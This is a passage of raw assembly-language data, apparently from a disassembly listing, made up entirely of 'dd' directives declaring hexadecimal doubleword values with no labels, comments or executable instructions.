		dd 2FC5AA40h, 0A06E42D2h, 0BC6D9041h, 0AF299A00h, 4C1F9F0Fh
		dd 0C0CAB84Ah, 0BA81C71Eh, 1C02EC58h, 4736670h,	545B4C61h
		dd 73B48D58h, 983B223Ch, 9789514Ch, 11E80D7Bh, 0BFC4C94h
		dd 41BDED1Eh, 6EEF1B80h, 627BC2Ah, 0F338714h, 5C2A69C5h
		dd 20004C81h, 294191CFh, 126C97BCh, 0E11A5DD0h,	82403894h
		dd 0E4688B93h, 407FF5D4h, 0E22474A8h, 19030891h, 2BDAADB5h
		dd 694B90A2h, 234202FFh, 0D488E39Ah, 0BC4E7C54h, 48276207h
		dd 0DD918C23h, 74390805h, 0A0C020B8h, 816F78E9h, 0C0189C03h
		dd 4A686DBBh, 54582020h, 0ED0F7E16h, 8084B95Fh,	0A01FB730h
		dd 0B8E2178Dh, 35B46178h, 70207EE5h, 0EB3B1BAh,	112213B4h
		dd 62B98AC0h, 855E5372h, 73149420h, 3430010Dh, 9FAB0FDCh
		dd 0D5D07048h, 0D2116C43h, 48911114h, 0DC682527h, 0E01E9238h
		dd 67476005h, 71F1E50Bh, 0EEE824EFh, 0FFBCBA97h, 8730702Ah
		dd 5600A8B3h, 0B9CD2A1Bh, 0B385B1Ah, 1125BC4Ch,	540058FAh
		dd 1F08FC62h, 5F0F3DEAh, 0EF2C22C2h, 9C66BE11h,	0B23C985Bh
		dd 4845F94Fh, 84CCC00Fh, 78AA071Dh, 614E8C32h, 8EBB9DCBh
		dd 40E62E10h, 5D02DDF7h, 0E4217FAh, 72C088B4h, 0A9ACF03h
		dd 0B8082EFCh, 0C758D5h, 0E63525EFh, 7729F61Ch,	0D2C83C59h
		dd 19F08E07h, 0B7178D40h, 81C2019Ch, 33E06652h,	25EC3CA5h
		dd 220098B3h, 0A1BC1604h, 0F8F8646Eh, 503A8000h, 3D66FDh
		dd 0C26CE18Ch, 0DA750972h, 258A790Bh, 0C034C188h, 0B1DC0820h
		dd 0E0F8ACDCh, 0F3D23D91h, 1055F6E1h, 3D9B0D74h, 0ED01AC28h
		dd 275A7B12h, 7E0623Eh,	0DE30E588h, 8D06458h, 0C3861E72h
		dd 6C1FAA22h, 9EEF2100h, 67049446h, 0F22C7AD5h,	288004Fh
		dd 249719A8h, 0B150BD84h, 0BF768D84h, 111D912Dh, 400CDD94h
		dd 343CBE81h, 0CE2E6D80h, 0F40006DEh, 6FD66497h, 97800ADFh
		dd 0A462ECBAh, 0BEF01876h, 716548BAh, 1616BD3Fh, 4F016C3h
		dd 0AB80113Ah, 8627D409h, 0F2597A70h, 13E03036h, 9854BFA1h
		dd 0A0FD4B25h, 0E9B250B0h, 27A4F7Dh, 1061BA0Ch,	1D019CEEh
		dd 0D93DC52Ch, 85F0BDB1h, 0B3402471h, 722500BCh, 27976A2Dh
		dd 48CB551h, 148C1008h,	0C0CF9C4Ch, 0E207D9C0h,	4D2C3B3Ah
		dd 0F1037035h, 16D5A8Dh, 49371350h, 495DF7Ch, 0B78081Ah
		dd 0E5FC0914h, 0D8278B18h, 0DA582CC0h, 0A090D65Bh, 178F1D76h
		dd 1EEB4396h, 0C2C08B5Ch, 3E02A8F2h, 3D17130Fh,	246429h
		dd 6F7380E0h, 0EAFB4D01h, 0AB2FDAE6h, 52C58C6h,	9BE723Dh
		dd 642082E8h, 0C01D5059h, 3D861322h, 6190D8B1h,	0DDE80419h
		dd 8BC08708h, 61DFE0Ah,	3D7A713Ch, 664550EBh, 35EE403h
		dd 1D87BC51h, 8EE5592Ah, 0C4F29790h, 1F6F3101h,	2B94F4C8h
		dd 0BF4C4830h, 2A9C0073h, 534AFCB4h, 0B83EA780h, 279B82F8h
		dd 56C2C7B1h, 4DD5924h,	89484ADh, 1587728h, 796280A7h
		dd 6B3644FFh, 0C78A3840h, 0A36D82h, 5F2F5AC2h, 5D69857Dh
		dd 8B483DE6h, 3E302574h, 0DDB438FCh, 0BC898E01h, 8B8D6F2Fh
		dd 0C9BD1F29h, 68198474h, 81BC80A8h, 9D20FA8Eh,	5B00A5D8h
		dd 28A2D03Dh, 98F2693h,	1E91BCBFh, 0D6F6CC10h, 0C5DF44A3h
		dd 917CC88Fh, 0B6F2917h, 0BF0B309Ah, 0FC1821C7h, 6F3A11D4h
		dd 44B80738h, 6BE130Dh,	0E028BE3Dh, 0F04B7BDFh,	876B25B6h
		dd 255B9046h, 0C29168D0h, 0AFEE3DD2h, 35A78185h, 8074ECE8h
		dd 0F686C4Ch, 88324EC6h, 0C891480h, 0A6D0213Eh,	0B943E495h
		dd 96C02D5Ch, 38D04001h, 0BC01B8EDh, 5606C5Dh, 0B2C98466h
		dd 2FCE38A0h, 504496E6h, 3C108B7Bh, 0D500C946h,	306A71F3h
		dd 0DC909D49h, 1111F061h, 35708007h, 4C6FF81Ch,	851648E7h
		dd 39B089E5h, 610E803Ch, 79BE292h, 0E84E3DC1h, 4D32F0F4h
		dd 0C91CA2A6h, 43017B52h, 3B9EEBEFh, 31468A40h,	408664B5h
		dd 8318FC0Bh, 0C3E083FBh, 78D3872Eh, 0F192F83Eh, 9AC107D1h
		dd 60DE1DACh, 0B30AF065h, 0A006872Eh, 84DA6060h, 973E1656h
		dd 0A7340B45h, 0FFE15C8Fh, 68B5AEBCh, 12B980DCh, 0EEBB71Ch
		dd 2A0A3FBFh, 37286300h, 0CF0376DFh, 62BB49Fh, 0E54F897h
		dd 1B910127h, 98E9055Fh, 5E71F0A7h, 18BB0230h, 1489C8F7h
		dd 9095D855h, 5060B211h, 0CC071784h, 79DDB105h,	0F976A5B0h
		dd 8DCB1445h, 0B58B086Fh, 1B9788F1h, 2117EC72h,	0F071A767h
		dd 9D3EC149h, 0C21196EBh, 40101442h, 4454FA1Bh,	7C91295Dh
		dd 40B45CC9h, 0A035CCD5h, 0AD7BC900h, 5EC49FE4h, 1300BA46h
		dd 0E6985618h, 0E5517C6Ch, 858FE848h, 89D41E00h, 42E46F87h
		dd 44CCB622h, 0DE274093h, 0A065D11h, 0C89D9641h, 698F0080h
		dd 4925D4B1h, 5F1FDD00h, 978ACF02h, 101E1639h, 30380063h
		dd 27C8D9C1h, 54B9AB02h, 0D379E736h, 5059A5F0h,	3A605200h
		dd 0E3E5DCh, 3C9FEC89h,	0BAC95D8Bh, 6F8E181Eh, 10401F5Ah
		dd 9F0AE9BCh, 49F8843Bh, 0D67F7EFAh, 12BEDB27h,	0C7405908h
		dd 0B1E040DCh, 29D65825h, 169D74F4h, 4884F9D8h,	0BA975F10h
		dd 4EA08B0h, 0BB214625h, 8070A880h, 8DFE5408h, 0CEAB00C2h
		dd 428FC0D4h, 0FC248973h, 0DE507CA9h, 8CD4EE6Ah, 84D31C00h
		dd 2C2FB56Dh, 955B0EB6h, 0A7A0B81Eh, 918127BCh,	261F1372h
		dd 8E422B3Fh, 56B8ADC7h, 0EB804FF4h, 3DABB734h,	5BE0A9A3h
		dd 0A018584h, 8C8114AFh, 6C2046DAh, 334413B9h, 51440182h
		dd 7CB79888h, 50D318ACh, 0A211DD11h, 0FCD914h, 0D6E9ED94h
		dd 8F390852h, 7E890166h, 203DA12Ah, 88973479h, 25049A40h
		dd 7BD94BC0h, 0B08E9085h, 0E02DB513h, 0C0941E5Ch, 0E3ECAE80h
		dd 0BF45D5h, 1352A1EDh,	0B96E1D93h, 3378F804h, 0C0C8DF0Fh
		dd 0D23D4B84h, 0C4295214h
		dd 3ABF7F44h, 3200DE49h, 0CCDEA7Bh, 10012CDFh, 43C35577h
		dd 6AE264BCh, 0B06604h,	0D306161Eh, 659C7275h, 5D5A30Bh
		dd 0C1148E27h, 3664F3A4h, 1FA7C020h, 0C01C67A0h, 0B1329110h
		dd 0D40411E2h, 17433D87h, 0B8810CE8h, 772F50BBh, 514C4C40h
		dd 0DB33F098h, 6A28EF79h, 5F0EC440h, 0DF948613h, 642D267Bh
		dd 2B80700h, 7A7A4DCh, 0DB7A2C83h, 0B41FC020h, 2F09454Bh
		dd 54BBB5D0h, 0F66182FCh, 0BCDC6314h, 40F0514Bh, 9C0E4A73h
		dd 0D100D37Bh, 0E8BE3E72h, 0B9956F18h, 4093A708h, 3D35BE98h
		dd 5086C701h, 0BD8E7C44h, 0A858386Dh, 7270DD28h, 25390065h
		dd 4385688Fh, 0E67E0DC4h, 1704B048h, 0C0CC458Ch, 9847CC1h
		dd 50BD4633h, 8E384018h, 2898780Fh, 92E040EBh, 25F767E1h
		dd 8D3C223h, 2F06423Ch,	0F95FB62Eh, 4232C509h, 4B40946h
		dd 28AE4E69h, 0C1079C9Ch, 0FE537C7h, 870FBE58h,	18E61ACBh
		dd 0C89C11AEh, 0ED0AF540h, 4A3C1C7Bh, 5490565Eh, 1DC7FCDCh
		dd 49F0E047h, 94988D27h, 9DB00880h, 0C0F2464Ah,	0CC7C6100h
		dd 365A1CE9h, 2BA4C16h,	5800AC89h, 1C160B1h, 75DD0C22h
		dd 0F8B7D289h, 5A009A7Fh, 8F55690Dh, 9770C71Eh,	0CE4544C0h
		dd 0DD0EC600h, 0E4066529h, 4AE57936h, 9ADC23C7h, 7B381CF1h
		dd 796CB04Ch, 0C90D6085h, 91ABDACh, 8728D601h, 80433769h
		dd 2C2349D1h, 91EA0075h, 0B2520534h, 85502278h,	0A00949DDh
		dd 45F6CAFEh, 0D6229048h, 0FA1FC8C2h, 0F0E90028h, 0D1FDC1A3h
		dd 0EB2A86DFh, 0EF0138D3h, 0E17CB392h, 0AAD42489h, 0A3D8017Fh
		dd 2B3272D9h, 0D30C393Eh, 18EC8C12h, 0FA889209h, 0E279287Ah
		dd 6F8F9804h, 0C8C4D9Eh, 0FAB78864h, 4A96AB00h,	6248C55h
		dd 0A7BD1416h, 0C7E648Ah, 11D5DA40h, 2D001E11h,	0BCB9753Ah
		dd 7BDC316Bh, 709F0541h, 0C9068CBDh, 295DDCF8h,	3CA03872h
		dd 0D51CE445h, 0C2C36927h, 0A00259D6h, 98BD6577h, 6890BDB2h
		dd 0BE0B10ABh, 805FBF13h, 962C1EDCh, 28EF032h, 0C422B7B8h
		dd 8879DE0Fh, 0EB5AD381h, 86166DCh, 0FEE34E41h,	11980A3Bh
		dd 1A102608h, 0E842295Bh, 0F020CC51h, 75776B07h, 0B1608DA3h
		dd 0A6D48889h, 81090384h, 86B22B45h, 6D39DC80h,	1E43689Eh
		dd 7584C0A2h, 0F8BF5BAEh, 656400E7h, 0D8619136h, 0D7BD1DC8h
		dd 0E81F8EB6h, 0F410298Bh, 40002E68h, 6341C7AAh, 97BB43EBh
		dd 0D0F1642Bh, 0BEB0C000h, 2D67B2Ch, 708BE642h,	62572EDAh
		dd 4FB45245h, 58342261h, 0E600A72Ah, 0EBECCC35h, 89BD14C6h
		dd 1E81D4DBh, 2A7AB232h, 30ABA464h, 68829ACh, 3C60FD00h
		dd 0A79DB909h, 9F571EBDh, 114585FEh, 50748022h,	0C5FA8538h
		dd 0BE357E00h, 0BB3D868Ch, 5B0C74C7h, 1E8820D3h, 0A1009FF4h
		dd 7245F927h, 48C2D498h, 102F9B7Ah, 8CB090E4h, 80201645h
		dd 3A868938h, 0A7A4D8h,	37B54884h, 0B82E1160h, 0B408DC50h
		dd 3438C702h, 8ECBC60Fh, 0B8D03220h, 9027DA4Ah,	0C75A0026h
		dd 65F78755h, 0AB76E234h, 4312D3F4h, 801709BAh,	3220949Ch
		dd 3920CB5Ah, 800C5129h, 0D21A5071h, 0AF036886h, 0F09A1E82h
		dd 0E236A05Ah, 0BF49C7A6h, 0E38C61BCh, 947CEA43h, 7090B141h
		dd 0C9BF2470h, 905EBCE9h, 0D821FA41h, 3C8170h, 4C3133E3h
		dd 645D236Bh, 938EA491h, 6E400043h, 19BAB197h, 0B0759FE3h
		dd 7C00150Ah, 0CF48A05h, 426B17B6h, 18E2B1h, 54157A1Ch
		dd 3ED868h, 0B4A77E5Bh,	0F9FD491h, 0A8A0D929h, 4443253Dh
		dd 4E24000Ch, 50ADEE10h, 0A500C6C8h, 0CA1863F9h, 98BCB13Fh
		dd 0A44400E0h, 85986536h, 0D4021D84h, 0E4E12D2Eh, 111C60C5h
		dd 63B1122Fh, 6FD408BBh, 5E4C10A7h, 0EDB405E2h,	80CAB57Eh
		dd 0D389F5BEh, 568D1A00h, 3B24DE26h, 60D60098h,	5CAF4A46h
		dd 7E5F3679h, 4092B404h, 0F1988D52h, 0B861A088h, 0E5A65601h
		dd 0FE5A9803h, 246E9C42h, 2150F895h, 7AE64335h,	8008A8C5h
		dd 4E17A02Dh, 33B400DFh, 2A7EF9AFh, 530064ECh, 22BE5F5Dh
		dd 7AB1204Dh, 9B860B8Ah, 64F0F829h, 3808D351h, 86088BD4h
		dd 52A5D1D6h, 2925E4C6h, 0DCE01C48h, 0A94639h, 0C4A1533h
		dd 12E3C935h, 0E27DE8E6h, 5D720008h, 878249BEh,	18419D96h
		dd 84A11069h, 0AF3000BFh, 0B05DF8BAh, 38023615h, 0D79C81AAh
		dd 9154D2DDh, 6B038064h, 0E367F950h, 0F17CBC7Ch, 0DC149Dh
		dd 0CEF832D9h, 4F17DD11h, 0D4874B00h, 9280311Dh, 8C510010h
		dd 67A4E96Eh, 0D1004DCDh, 0C985A7B4h, 7708FD2h,	0D7358ABEh
		dd 5885CBC7h, 90DAA9h, 62333AD4h, 3CAF3BB4h, 0DD8FEAB8h
		dd 6C005936h, 0E52003A8h, 3AC7D10Ah, 98C9E442h,	2AC90h
		dd 0E1A89C49h, 65F8E6E8h, 0F8D62529h, 27913000h, 38E49B9Dh
		dd 8B0B8E66h, 5087980Dh, 597DE0D8h, 9F0779DFh, 0BB2E0827h
		dd 0BBA2FA0h, 0BF951271h, 0B47004B5h, 0BE3E4160h, 406068BDh
		dd 215B4B2Fh, 0F4CADEC8h, 2B003332h, 0EB58F9BBh, 4E0094Ch
		dd 8B9AA624h, 825CE8C1h, 5D1AE76Fh, 0C1B4D098h,	0AC0075FEh
		dd 453A5553h, 1713D3Bh,	0DF35943Eh, 2F87BDC7h, 31BB5CC4h
		dd 84692DCh, 600F883Ch,	22F4F712h, 29C260ECh, 207CD1B0h
		dd 0E0A02592h, 2C988CB9h, 34BC7444h, 0E836DF9Ch, 9ACA80DCh
		dd 0DAEC3Ah, 97CFF0F1h,	7E570682h, 0C48CB14Ah, 0EC414F96h
		dd 0B05F3875h, 546FBCA7h, 1D910773h, 0D0401B94h, 3DD1AD2Dh
		dd 0C1973A00h, 723467DDh, 46F4E557h, 0C449FB5h,	0D005A400h
		dd 76A342EFh, 0E619E68Fh, 719E6060h, 0B1BB219Dh, 48889C0Bh
		dd 31C66DAh, 0FA3E354h,	0A1011ED8h, 19962D2Fh, 40C58BBFh
		dd 1BC184Ch, 0BD71D72Bh, 202ED088h, 24EEBCAh, 4E4360E4h
		dd 893C88B8h, 91A75E86h, 15123970h, 150048B2h, 1C30C8Eh
		dd 0B307BDA9h, 42568C13h, 23E0F5B0h, 4AE428EFh,	4C9B03F5h
		dd 85E2BD58h, 9EB2B822h, 91226300h, 0D10081B4h,	54080527h
		dd 8C2FBE66h, 0D05A3C18h, 110798C4h, 6D06B0A6h,	969C770Ch
		dd 2E305F00h, 0E493F0A4h, 60716490h, 10294281h,	0A082C72h
		dd 45790F00h, 0FBBCD6F2h, 0C0840074h, 8D2B4836h, 0D70C378h
		dd 0DC535D19h, 0EC146548h, 0E0CB32D4h, 57C204A4h, 16984C8h
		dd 0BC7E1A3Bh, 602345C6h, 0F7008395h, 6FDAE588h, 0B03F5A0Fh
		dd 5FF622D4h, 4500BA7Ch, 599CBDCEh, 2536536Ch, 0F4E4E7E1h
		dd 0CAC844h, 5E63962Fh,	0BD882B14h, 0FEE2EB00h,	2AE42436h
		dd 0F6CFF028h, 8014B186h, 445ADE3Fh, 0D100EE6Ch, 59278BFAh
		dd 2326D49h, 78E9232Eh,	0F8F46E99h, 5B302240h, 371C0092h
		dd 7A4417B6h, 4300E2B0h, 4EF8D36h, 0FC39EB5Dh, 0D92D2987h
		dd 17A73DD8h, 0E48238D3h, 0E68FB610h, 0C0962660h, 72990056h
		dd 0C5AD5764h, 45493025h, 0EFED0048h, 7FDCC190h, 3DDEBC00h
		dd 2AD1983Ch, 291E0208h, 0B9A6C683h, 4E804871h,	0E84467F2h
		dd 0B85501BEh, 0B16B5AA7h, 0DC84CA27h, 69E60CFEh, 0EA54B822h
		dd 0B1770063h, 0DF378789h, 0AF079AA9h, 1D0E2B45h, 75F12C90h
		dd 7DDD0F09h, 2E0F2510h, 0DA689160h, 0F62EB65Ch, 9E1C393Ch
		dd 0B314F444h, 27C2B4F8h, 3066BC4Ch, 0BC882924h, 1A6C3149h
		dd 0E9A0207Ah, 0C23AB155h, 3EFD80D8h, 43178F0Bh, 206B4BBEh
		dd 0BA553B2Ch, 31FAF4Ch, 25BDD0EBh, 7F15F0B3h, 7E17E67h
		dd 4DAF78D3h, 79CE1397h, 7D5A33A0h, 1707BEFEh, 0F61F6389h
		dd 94453683h, 988B40B0h, 4AF00C3h, 0D33DAB61h, 0CF9F8A54h
		dd 1274BEE4h, 0D1EB3629h
		dd 2AC60C5Ch, 27005C8Ah, 1B623BEEh, 0AD2753D4h,	0EB8D06Eh
		dd 0EB6D1231h, 0F8EC273Dh, 3A1389F8h, 0E902654Dh, 7D6621E1h
		dd 5E2E4B0h, 0D4561416h, 41DBB030h, 262017Eh, 546EB56Ah
		dd 0F4082B92h, 0B444EB46h, 0FC783200h, 8859AFBBh, 1D7300C7h
		dd 0E817854Eh, 0AC095CC8h, 0FE53E913h, 0B43F6018h, 3D0C17C7h
		dd 19C3144Eh, 8BA01327h, 43D07158h, 14283AB5h, 8B4700EAh
		dd 0F423191Ah, 0FF740348h, 99DDE91Fh, 6CBC7EB4h, 0D23CB1D3h
		dd 5CE23522h, 0ABE144F8h, 32DDB431h, 7809A70h, 40BFCCABh
		dd 0B0FA6634h, 6D3D2F00h, 6942E1DCh, 4AFC61h, 22399C99h
		dd 0F43B7872h, 0E6D56A1Fh, 0DA979E80h, 9CDF0F45h, 0C56F478Ch
		dd 0BC6C084Ah, 78C32958h, 9F6F004Bh, 0A622EFC7h, 989FCBC4h
		dd 0B952FBCh, 6960118Dh, 0C9223080h, 45B5DD0Fh,	0DB200084h
		dd 36529904h, 0D3037898h, 6CAD0B5Fh, 0C0228851h, 0E8FF036Dh
		dd 0B1594D26h, 4086F481h, 0B4EBD368h, 61F0FA00h, 29FE6EF3h
		dd 351600BEh, 8743B08Eh, 9140B706h, 0C1DCA296h,	0A2144740h
		dd 1F80387Ch, 56A4EE55h, 0C8CC402Eh, 369C02C4h,	5E73544h
		dd 0C0788444h, 0C2E00094h, 129997ECh, 4B27CF5h,	0E3E18172h
		dd 6E250320h, 0EA834439h, 0E721E0A7h, 2C1D00A2h, 1117D373h
		dd 0D40169B4h, 33F959B1h, 0F1804458h, 53D88C64h, 660BE08Fh
		dd 0D9852C69h, 0F3CA00D8h, 3405E890h, 0B477C97Bh, 0E9D4F00h
		dd 0DCC0F27Bh, 0CBA02743h, 0A8804851h, 1683AA44h, 958C00E0h
		dd 7FD79C2Ch, 4B001AA5h, 9AB53CFFh, 5BABA6BCh, 3E4C0052h
		dd 0CB1EA7CCh, 4787A52Fh, 0A32B04BCh, 0ED7084BEh, 88CD13E0h
		dd 810008B2h, 0A79486D3h, 0BD1208AAh, 0A8A8E035h, 0E164DC88h
		dd 388EB720h, 0B64814BCh, 6574430Eh, 98E83E23h,	886F050Bh
		dd 0BE10DCD9h, 6108A899h, 1C303AD0h, 60C7BEA7h,	25B1C80Ah
		dd 0E8959A10h, 12D4DD8Ch, 49178DCDh, 0C4D651C8h, 7A0350h
		dd 760FF648h, 0E5D7075Ah, 0CECCC700h, 8AAA5159h, 0E8B90E1Eh
		dd 70981857h, 670211BFh, 0F995E987h, 5000C00Dh,	21AE5A26h
		dd 0C9D0947Ch, 5203E4F2h, 2D45E000h, 0DC7A8062h, 0A45B168Ch
		dd 7218E126h, 63A0E48h,	79B900A5h, 0F9042E0Ah, 7E5C273Bh
		dd 0A1FC1103h, 2DB68698h, 0D0D77F00h, 53775E29h, 74792D6Ch
		dd 28F1C442h, 7AE63589h, 0C7B50BF4h, 30F13D0Dh,	7ED3BB03h
		dd 8786E235h, 0CD004AC2h, 12D7A936h, 0F899859Fh, 0A767889Ch
		dd 548BA0D9h, 8BD8569Fh, 34D8A89Ah, 40B091A1h, 65DFEAD8h
		dd 90255096h, 5F71268h,	1730E52Bh, 5342598h, 88AB654h
		dd 918A9DFCh, 8C6898B1h, 77A64385h, 4D944804h, 0F438C853h
		dd 1CBEED03h, 0ABA40783h, 517A8858h, 19D11626h,	84541069h
		dd 0EE64BDC0h, 0F8008C59h, 2833CB15h, 47B4743Ah, 614B79C0h
		dd 3D2BDC31h, 1C0F3030h, 9E442EEDh, 4DA704E9h, 360C818Eh
		dd 348E2BE6h, 0E703E821h, 8925B849h, 7C41B14Ch,	0CEE89195h
		dd 486D1E6Ch, 164000DFh, 0BD3D0A78h, 56A4A700h,	91284F6Eh
		dd 4CF50F1Eh, 8C8E68A8h, 0D790FFE0h, 81480D11h,	24D92108h
		dd 3BC43D64h, 0BF2C1600h, 6F3F351Bh, 0BD50972h,	0C70F6C3h
		dd 0BD806099h, 0DD12CD86h, 0FB990074h, 933DD920h, 0C29DAF11h
		dd 441C58B0h, 0AEFE6CCBh, 0FF9BD609h, 63F40011h, 1A2DF304h
		dd 0AEE5E93Eh, 0B3C19001h, 1800DF25h, 1FDFCF4Bh, 28F92361h
		dd 0ACABB1h, 442FD16Fh,	45D2E9B3h, 0E667161Ch, 0E14C1DFFh
		dd 29DD7581h, 0CEF0D75Fh, 0CD19004h, 90AB8512h,	0C120F240h
		dd 2ED11021h, 0BAF47C5Bh, 0AFC319DEh, 9E3C2593h, 1630C2Ch
		dd 8DA82C8Bh, 7C480A20h, 6E1DE414h, 254330AAh, 0CE14D39h
		dd 4196E7Fh, 0E20124E8h, 425508F5h, 0E4D921B3h,	76FF02BBh
		dd 74A82721h, 9C980117h, 511F6071h, 0B074781Ch,	652EEh
		dd 0E624A0E4h, 8E6880CCh, 42BCD1F3h, 372507F0h,	0FDEC8F4h
		dd 4B17D95Ah, 0F1D6EA20h, 0DF0001CCh, 821A807Bh, 78D88FD5h
		dd 1F6A90DEh, 0C08D8CB1h, 0E6CB9F3h, 0DA00D069h, 3BB4BF62h
		dd 4BEAB5C3h, 0A782096h, 3E255330h, 7CF445h, 32D6391Bh
		dd 0C3029F8Bh, 69E65878h, 5C2C4055h, 0D8294176h, 6316DF09h
		dd 40407821h, 33F675A3h, 6F1C128Bh, 0E548806Dh,	0C7482995h
		dd 43C101D4h, 3E27C651h, 263D5CA6h, 0C0990408h,	77AA0085h
		dd 0A76E8F4Eh, 0C2B00820h, 0E008D8C9h, 0D1176086h, 5D47F74Eh
		dd 2FB1200Eh, 87B5643Eh, 600D0E3h, 0C0239DE9h, 707A059h
		dd 0EA8F3C8Dh, 0A4FA7E70h, 4CA62715h, 841DBC79h, 0B74E06C0h
		dd 37D07FFh, 87889976h,	0A9E1982Ah, 18473BAh, 0B0786A1Dh
		dd 8ECCFC0Fh, 0A3880F61h, 0E63F3A44h, 0C030A684h, 8DA33117h
		dd 652EAD04h, 3CBC96B9h, 0B63B9080h, 0CE00A830h, 70DDB4A0h
		dd 3B2A639h, 0DE26D735h, 48BE757Ch, 233F1D00h, 176E4A4Fh
		dd 60766903h, 6B1FD200h, 0F80597A7h, 462945E4h,	9107ECA8h
		dd 5004871Ch, 0C88EA793h, 12C1CF1Bh, 0C7BA8368h, 33D21640h
		dd 2C9C0B22h, 0D01025BEh, 5D3FE5DCh, 740C77C4h,	0BE95CC05h
		dd 3E20002h, 963CCB0Dh,	730E6224h, 3F3D39DFh, 898CCEh
		dd 3531BCD9h, 225A2E8Fh, 3A2103D0h, 98005127h, 1F1A91A6h
		dd 9C9D5763h, 0FBAD4154h, 4B3FCC7Dh, 0EDBB431Fh, 0FCECAFh
		dd 0D4A4840h, 4144ACD9h, 15E6EC1Fh, 0F0F5B80Bh,	66923C2Ch
		dd 49B600F8h, 0D5D648F3h, 0E3C5969h, 380BA72h, 41A360C5h
		dd 927B9883h, 2651920h,	809D084Ah, 83594E21h, 1CD9F0h
		dd 5466034Ch, 0B17A69EEh, 0DBB6C90Fh, 0DA3B830Ah, 7818070Fh
		dd 8F6E2199h, 0A4EB8087h, 9293012Fh, 809160C4h,	83408473h
		dd 915AE782h, 41109F40h, 1068358h, 869588CCh, 8018DE70h
		dd 0FB56450Eh, 0AB0091E3h, 0E7C015A0h, 3E28B138h, 2075A64Bh
		dd 0CE06A1EBh, 65EC4480h, 0C57738h, 0E866CF52h,	0E7C12A7Fh
		dd 9D084F66h, 5AAA0099h, 0AECD57CFh, 3600F5B5h,	0EE6EF8AFh
		dd 0C497EBh, 0C93D1E41h, 84B78C4Fh, 0C6FF4D02h,	61AB9CF0h
		dd 0BD05ADEh, 4F733D6Eh, 0D1D72180h, 0D30D37B9h, 0A7769500h
		dd 7733C87Fh, 2DD60072h, 0F81EB6Dh, 4C0230BCh, 0ADC393A2h
		dd 0C85D601Ah, 49DF00D9h, 0EF1159Fh, 0EF0016A5h, 8F643DB5h
		dd 989F5CBh, 0DBE1796Fh, 7BA0DB80h, 3002D92Bh, 0E0754F16h
		dd 0B5314022h, 7F2CE052h, 370E00D8h, 7782FFA0h,	8B00DC9Dh
		dd 8930E476h, 7EECD33h,	172EC42Dh, 0A2E8E00Dh, 3F006762h
		dd 0BC8BE81h, 79C254FDh, 0D1A32470h, 7A0A000Eh,	53F9308Dh
		dd 0EB6560E4h, 43BEA11h, 89A1D10Ch, 7C00E210h, 9002F999h
		dd 172D8AFh, 0A04F588Eh, 0D0D13378h, 0EB0CE35Fh, 298777E2h
		dd 0D75B884Bh, 4388AF07h, 0A3EE736Fh, 9857C63Ch, 8597E3h
		dd 0DF5961ACh, 44FF45F6h, 0A5194C00h, 5733DB13h, 0A01612CFh
		dd 0F6710010h, 95EAE8Eh, 19121E18h, 6697E0h, 7DB0548Ch
		dd 3DAD4CB4h, 69F4C800h, 0AFA03157h, 84783E3Ch,	5EEB4200h
		dd 10F7F1B0h, 0AA00B2E2h, 3A44FF0h, 0E23213h, 6C22BB5Dh
		dd 0FEEB3808h, 877C7877h, 0A780230Eh, 398E01DFh, 9040E885h
		dd 0B32B3Ah, 1EB616A4h,	0B4846FEBh, 4A7FA600h, 329B1A7h
		dd 3F8B00CFh, 5772B747h, 9100FB52h, 0F3C7DD71h,	1E519C6h
		dd 0C3028EBEh, 0E40DCFF7h, 2B0070B8h, 0DB1FD409h, 0FD04F49h
		dd 0D2A2E6F2h, 36067A20h, 46007796h, 6BBE316Dh,	0E57304h
		dd 0FAA7F99Bh, 2F5BDE17h
		dd 0ECC50D00h, 706A63F6h, 0AAB02BDh, 3E6B4B6Dh,	4227F080h
		dd 6E76CDD3h, 86FB370Fh, 0C774C031h, 24B366h, 9D1D5332h
		dd 0A7331888h, 0F90A4603h, 0A8BCA8A6h, 0F11C0Dh, 2A39445Eh
		dd 3C5C05Fh, 0D4E10707h, 3A936FA9h, 0B5A7C891h,	37EE0010h
		dd 4E4F8C76h, 0D83ECB51h, 4200F657h, 5E4CAB7Ch,	71659EB7h
		dd 936C0032h, 3682F21Dh, 0E3002EF3h, 0FD5FD112h, 0E158B8Dh
		dd 10CD4427h, 709278A6h, 0E9161B00h, 0EC816D4Ah, 680F0CB8h
		dd 0D3E9FF2Eh, 807F3D3Dh, 3482FEDBh, 3B106602h,	5E8072E0h
		dd 88F70E53h, 4D000C16h, 8EEA1326h, 5C2D4Ch, 60869E31h
		dd 0CD29A364h, 2A77609Fh, 788FE1D0h, 0E8BB041Dh, 25C91A90h
		dd 66A80E07h, 7920DC51h, 3231FBh, 891FBA85h, 0FF13465Eh
		dd 355AA900h, 0CD19174Ah, 48D300BFh, 80885F2Eh,	0EEA02270h
		dd 2D01D8B9h, 6E8E0882h, 3820E94Ch, 68F300FBh, 0BA129737h
		dd 8B09664Fh, 8060B355h, 46F4928Ch, 6BD4002Ah, 0A76402B8h
		dd 291CB2F0h, 30406220h, 7A32BD98h, 86AC1347h, 0B6B90B1Fh
		dd 0FE109C80h, 0FB0A9B6Eh, 0F518FAAEh, 0E0832603h, 0F51000A1h
		dd 8CCB21D9h, 0BC098074h, 0D6897h, 0C0D4F63Fh, 9096028Eh
		dd 0D9398477h, 0AFED2068h, 932B8A00h, 5B5A53EFh, 800600AEh
		dd 3BE9B17Dh, 0C01320C1h, 0C700F234h, 0BE2F8EA4h, 126C3A7Fh
		dd 85FE3200h, 6FD45FC6h, 361339h, 89BBC4BFh, 0B0B190E0h
		dd 2402309Fh, 0A240C0A0h, 0F920C726h, 49383030h, 0FBF81DC8h
		dd 0A5D1C021h, 0FDF0F6B6h, 0EEBC8609h, 0DC74A79Eh, 0D3090B7h
		dd 0D59BCFh, 0E9B01A3Eh, 3F896423h, 816C3B00h, 0FE393327h
		dd 0B8BA609Bh, 0A8BBC2DEh, 4300CD77h, 92BF5D67h, 0F0103A0h
		dd 312985F8h, 6340890Fh, 22136097h, 0D8AAE700h,	674ACB4Bh
		dd 8AE63D7Bh, 0FBAC9380h, 0C86BCF0Ch, 6A90A600h, 0F8F6A002h
		dd 4A20924h, 233DDFh, 14F352BFh, 44D713E8h, 9BC16C00h
		dd 6B7F9FBCh, 258009E1h, 62073B3Dh, 7DE8808Bh, 66387751h
		dd 426B00B0h, 8E2EBF0Bh, 0FA2D045Ah, 0C010652Ah, 8AE79DA4h
		dd 441B418Ah, 0AE1AE8EFh, 0C7BC00DFh, 2E9EE19Bh, 310019BBh
